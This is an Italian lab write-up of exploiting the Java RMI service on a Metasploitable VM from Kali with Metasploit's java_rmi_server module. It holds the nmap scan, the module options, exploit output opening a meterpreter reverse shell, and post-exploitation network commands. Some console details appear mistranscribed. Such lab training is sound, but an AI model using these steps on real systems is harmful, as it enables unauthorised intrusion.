

# PROGETTO

HACKING JAVA RMI

FRANCESCO PERSICHETTI

L'esercizio consiste nello sfruttare una vulnerabilità della macchina Metasploitable sulla porta 1099-Java RMI. I requisiti sono:

1. Kali dovrà avere il seguente IP: 192.168.11.111
2. Metasploitable dovrà avere il seguente IP: 192.168.11.112
3. Una volta stabilita una sessione remota con Meterpreter, raccogliamo le seguenti informazioni sulla macchina remota:
  1. Configurazione di rete
  2. Informazioni sulla tabella di routing della macchina vittima

1.

Per iniziare, cambio indirizzo IP della mia macchina kali con "sudo nano /etc/network/interfaces"

```
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

source /etc/network/interfaces.d/*

# The loopback network interface
#Per configurazione statica

auto eth0
iface eth0 inet loopback

auto eth0
iface eth0 inet static
address 192.168.11.111/24
gateway 192.168.11.103
```

2.

Eseguo la stessa procedura del punto 1 per la macchina vittima (Metasploitable), in modo da essere sulla stessa rete della macchina attaccante (kali) e poter comunicare tra di loro, eseguendo lo stesso comando utilizzato su kali: "sudo nano /etc/network/interfaces"

```
GNU nano 2.0.7      File: /etc/network/interfaces

# This file describes the network interfaces available on
# and how to activate them. For more information, see inte

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.11.112
netmask 255.255.255.0
network 192.168.11.0
broadcast 192.168.11.255
gateway 192.168.11.104
```

Prima di iniziare la sessione di hacking, lancio una scansione che mi riporterà tutti i servizi attivi e le loro versioni sulle rispettive porte nei confronti della macchina vittima, con il comando “nmap -sV 192.168.11.112”

Una volta appurato che il servizio interessato (evidenziato in rosso in figura) sia attivo e in ascolto sulla porta 1099, procedo alla sessione di hacking con metasploit. Apro il framework da prompt dei comandi di kali con il comando “msfconsole”, dopodiché con il comando “search” ricerco la parola chiave per cercare un modulo di exploit che più si aggiudica alla mia casistica. Una volta trovato lo lancio usando il comando “use”

```
msf6 > search java rmi
```

Matching Modules

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce	2019-05-22	excellent	Yes	Atlassian Crowd pdkinstall Unauthenticated Plugin Upload RCE
1	exploit/multi/misc/java_jmx_server	2013-05-22	excellent	Yes	Java JMX Server Insecure Configuration Java Code Execution
2	auxiliary/scanner/misc/java_jmx_server	2013-05-22	normal	No	Java JMX Server Insecure Endpoint Code Execution Scanner
3	auxiliary/poster/java_registry	-	normal	No	Java Registry Interfaces Enumeration
4	exploit/multi/misc/java_rmi_server	2011-10-15	excellent	Yes	Java RMI Server Insecure Default Configuration Java Code Execution
5	auxiliary/scanner/misc/java_rmi_server	2011-10-15	normal	No	Java RMI Server Insecure Endpoint Code Execution Scanner
6	exploit/multi/browser/java_rmi_connection_impl	2010-03-31	excellent	No	Java RMICConnectionImpl Deserialization Privilege Escalation
7	exploit/multi/browser/java_signed_applet	1997-02-01	excellent	No	Java Signed Applet Social Engineering Code Execution
8	exploit/multi/http/jenkins_metaprogramming	2019-01-08	excellent	Yes	Jenkins ACL Bypass and Metaprogramming RCE
9	exploit/linux/misc/jenkins_java_deserialize	2015-11-18	excellent	Yes	Jenkins CLI Java Deserialization Vulnerability
10	exploit/multi/browser/firefox_xpi_bootstrapped_addon	2007-06-27	excellent	No	Mozilla Firefox Bootstrapped Addon Social Engineering Code Execution
11	exploit/multi/http/totaljs cms_widget_exec	2019-08-30	excellent	Yes	Total.js CMS 12 Widget JavaScript Code Injection

Interact with a module by name or index. For example info 11, use 11 or use exploit/multi/http/totaljs\_cms\_widget\_exec

```
msf6 > use 4
```

```
[*] Using configured payload jmx(meterpreter/reverse_tcp)
```

Una volta scelto l'exploit possiamo andarci a vedere qualche info in più riguardante il modulo con il comando "info"

```
Basic options:
Name      Current Setting  Required  Description
-----
HTTPDELAY  10               yes       Time that the HTTP Server will wait for the payload request
RHOSTS    0.0.0.0          yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT     1099             yes       The target port (TCP)
SRVHOST   0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT   8080             yes       The local port to listen on.
SSL       false            no        Negotiate SSL for incoming connections
SSLCert   no               no        Path to a custom SSL certificate (default is randomly generated)
URIPATH   no               no        The URI to use for this exploit (default is random)

Payload information:
Avoid: 0 characters

Description:
This module takes advantage of the default configuration of the RMI Registry and RMI Activation services, which allow loading classes from any remote (HTTP) URL. As it invokes a method in the RMI Distributed Garbage Collector which is available via every RMI endpoint, it can be used against both rmiregistry and rmid, and against most other (custom) RMI endpoints as well. Note that it does not work against Java Management Extension (JMX) ports since those do not support remote class loading, unless another RMI endpoint is active in the same Java process. RMI method calls do not support or require any sort of authentication.
```

Possiamo notare come tra i parametri "required" manchi la configurazione del "rhosts", ossia l'indirizzo IP della macchina target (Metasploitable). Lo possiamo configurare con il comando "set rhosts 192.168.11.112", dopodiché lanciamo uno "show options" per vedere se il parametro sia stato configurato correttamente

```
msf6 exploit(multi/misc/java_rmi_server) > set rhosts 192.168.11.112
rhosts => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

Name      Current Setting  Required  Description
-----
HTTPDELAY  10               yes       Time that the HTTP Server will wait for the payload request
RHOSTS    192.168.11.112  yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT     1099             yes       The target port (TCP)
SRVHOST   0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or
SRVPORT   8080             yes       The local port to listen on.
SSL       false            no        Negotiate SSL for incoming connections
SSLCert   no               no        Path to a custom SSL certificate (default is randomly generated)
URIPATH   no               no        The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
-----
LHOST     192.168.11.111  yes       The listen address (an interface may be specified)
LPORT     4444            yes       The listen port

Exploit target:

Id  Name
--  --
0   Generic (Java Payload)
```

Evidenziato in rosso c'è il payload che viene settato di default per creare una sessione di meterpreter una volta lanciato il comando "exploit"

```
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started HTTP reverse handler on http://192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/pTkdPq
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] http://192.168.11.111:4444 handling request from 192.168.11.112; (UUID: sktlglt) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.11.111:4444 handling request from 192.168.11.112; (UUID: sktlglt) Attaching orphaned/stageless session...
[*] http://192.168.11.111:4444 handling request from 192.168.11.112; (UUID: sktlglt) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 1 opened (192.168.11.111:4444 -> 127.0.0.1) at 2022-12-09 05:15:40 -0500

meterpreter > |
```

Ora che ho ottenuto la sessione remota meterpreter posso raccogliere le informazioni richieste dalla traccia dell'esercizio sulla macchina vittima

### 3.1

Per conoscere la configurazione di rete della macchina remota basterà lanciare il comando “ifconfig”, come in foto

```
meterpreter > ifconfig

Interface 1
=====
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe74:3df0
IPv6 Netmask : ::
```

### 3.2

Stessa cosa per conoscere la tabella di routing della macchina vittima, basterà utilizzare il comando “route” e questo sarà il risultato

```
meterpreter > route

IPv4 network routes
=====

Subnet      Netmask      Gateway      Metric      Interface
-----
127.0.0.1   255.0.0.0    0.0.0.0
192.168.11.112 255.255.255.0 0.0.0.0

IPv6 network routes
=====

Subnet      Netmask      Gateway      Metric      Interface
-----
::1         ::           ::           ::
fe80::a00:27ff:fe74:3df0 ::           ::
```